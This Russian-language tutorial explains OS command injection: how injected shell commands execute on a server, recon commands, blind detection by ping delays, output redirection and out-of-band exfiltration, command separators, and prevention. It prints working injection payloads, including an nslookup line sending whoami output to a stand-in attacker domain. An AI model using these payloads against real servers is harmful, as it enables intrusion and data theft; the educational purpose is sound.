В этой статье мы объясним, что такое внедрение команд ОС, опишем, как можно обнаружить и использовать уязвимости, изложим некоторые полезные команды и методы для различных операционных систем, а также суммируем, как предотвратить внедрение команд ОС.
- Что такое внедрение команд ОС?
- Выполнение произвольных команд
- Полезные команды
- Уязвимости внедрения команд ОС вслепую
- Обнаружение слепой инъекции команды ОС с использованием временных задержек
- Использование слепого внедрения команды ОС путем перенаправления вывода
- Использование слепого ввода команд ОС с использованием out-of-band (OAST) методов
- Способы инъекции команд ОС
- Как предотвратить атаки инъекции команда ОС
Что такое внедрение команд ОС?
Внедрение команд ОС (также известные как шелл инъкция) – это уязвимость веб-безопасности, которая позволяет злоумышленнику выполнять произвольные команды операционной системы (ОС) на сервере, на котором выполняется приложение, и, как правило, полностью скомпрометировать приложение и все его данные.
Очень часто злоумышленник может использовать уязвимость внедрения команд ОС, чтобы скомпрометировать другие части инфраструктуры хостинга, используя доверительные отношения для произведения атаки на другие системы организации.
Выполнение произвольных команд
Рассмотрим приложение для покупок, которое позволяет пользователю увидеть, есть ли товар на складе в конкретном магазине.
Эта информация доступна через URL, например:
https://insecure-website.com/stockStatus?productID=381&storeID=29
stockreport.pl 381 29
Эта команда выводит состояние на складе для указанного элемента, который возвращается пользователю.
Поскольку приложение не реализует никакой защиты от внедрения команд ОС, злоумышленник может отправить следующий ввод для выполнения произвольной команды:
& echo aiwefwlguh &
stockreport.pl & echo aiwefwlguh & 29
aiwefwlguh
29: command not found
- Исходная команда stockreport.pl была выполнена без ожидаемых аргументов, и поэтому вернула сообщение об ошибке.
- Внедрение команды echo было выполнено, и предоставленная строка была отражена в выводе.
- Первоначальный аргумент 29 был выполнен как команда, которая вызвала ошибку.
Полезные команды
Когда вы определили уязвимость внедрения команд ОС, обычно полезно выполнить некоторые начальные команды, чтобы получить информацию о скомпрометированной системе.
Ниже приведено краткое описание некоторых команд, которые полезны на платформах Linux и Windows:
Цель команды | Linux | Windows |
---|---|---|
Имя текущего пользователя | whoami | whoami |
Операционная система | uname -a | ver |
Конфигурация сети | ifconfig | ipconfig /all |
Сетевые коннекты |
netstat -an | netstat -an |
Запущенные процессы
|
ps -ef | tasklist |
Уязвимости внедрения команд ОС вслепую
Многие случаи внедрения команд ОС являются слепыми.
Это означает, что приложение не возвращает вывод команды в своем HTTP-ответе.
Слепые уязвимости все еще могут быть использованы, но требуются разные методы.
Рассмотрим веб-сайт, который позволяет пользователям оставлять отзывы о сайте.
Пользователь вводит свой адрес электронной почты и сообщение обратной связи.
Затем серверное приложение генерирует электронное письмо администратору сайта, содержащее обратную связь.
Для этого оно обращается к почтовой программе с предоставленными данными.
Например:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
Вывод команды mail (если есть) не возвращается в ответах приложения, поэтому использование полезной нагрузки echo не будет эффективным.
В этой ситуации вы можете использовать множество других методов для обнаружения и использования уязвимости.
Обнаружение слепой инъекции команды ОС с использованием временных задержек
Вы можете использовать введенную команду, которая вызовет задержку по времени, что позволит вам подтвердить, что команда была выполнена, основываясь на времени, которое требуется приложению для ответа.
Команда ping – эффективный способ сделать это, так как она позволяет вам указать количество отправляемых ICMP-пакетов и, следовательно, время, необходимое для выполнения команды:
& ping -c 10 127.0.0.1 &
Использование слепого внедрения команды ОС путем перенаправления вывода
& whoami > /var/www/static/whoami.txt &
Использование слепого ввода команд ОС с использованием out-of-band (OAST) методов
& nslookup kgji2ohoyw.web-attacker.com &
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Это приведет к поиску DNS в домене злоумышленника, содержащем результат команды whoami:
wwwuser.kgji2ohoyw.web-attacker.com
Способы инъекции команд ОС
Могут быть использованы различные метасимволы оболочки для выполнения инъекций команд ОС.
Несколько символов функционируют как разделители команд, позволяя объединять команды в цепочку.
Следующие разделители команд работают в системах Windows и Unix:
- &
- &&
- |
- ||
- ;
- Новаястрока (0x0a or \n)
- ` введение команды `
- $( введение команды )
Обратите внимание, что разные метасимволы оболочек имеют слегка различное поведение, которое может повлиять на то, работают ли они в определенных ситуациях и позволяют ли они получать извлеченный вывод команды или используются только для слепой эксплуатации.
Как предотвратить атаки инъекции команда ОС
Безусловно, самый эффективный способ закрыть эти уязвимости, связанные с внедрением команд ОС, – это никогда не вызывать команды ОС из кода прикладного уровня.
Практически в каждом случае существуют альтернативные способы реализации требуемой функциональности с использованием более безопасных API-интерфейсов платформы.
Если считается неизбежным вызывать команды ОС с предоставленным пользователем вводом, то должна быть выполнена строгая проверка ввода.
Некоторые примеры эффективной проверки включают в себя:
- Проверка по белому списку разрешенных значений.
- Подтверждение того, что ввод является числом.
- Проверка того, что входные данные содержат только буквенно-цифровые символы, и отсутствует какой-либо другой синтаксис или пробелы.
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.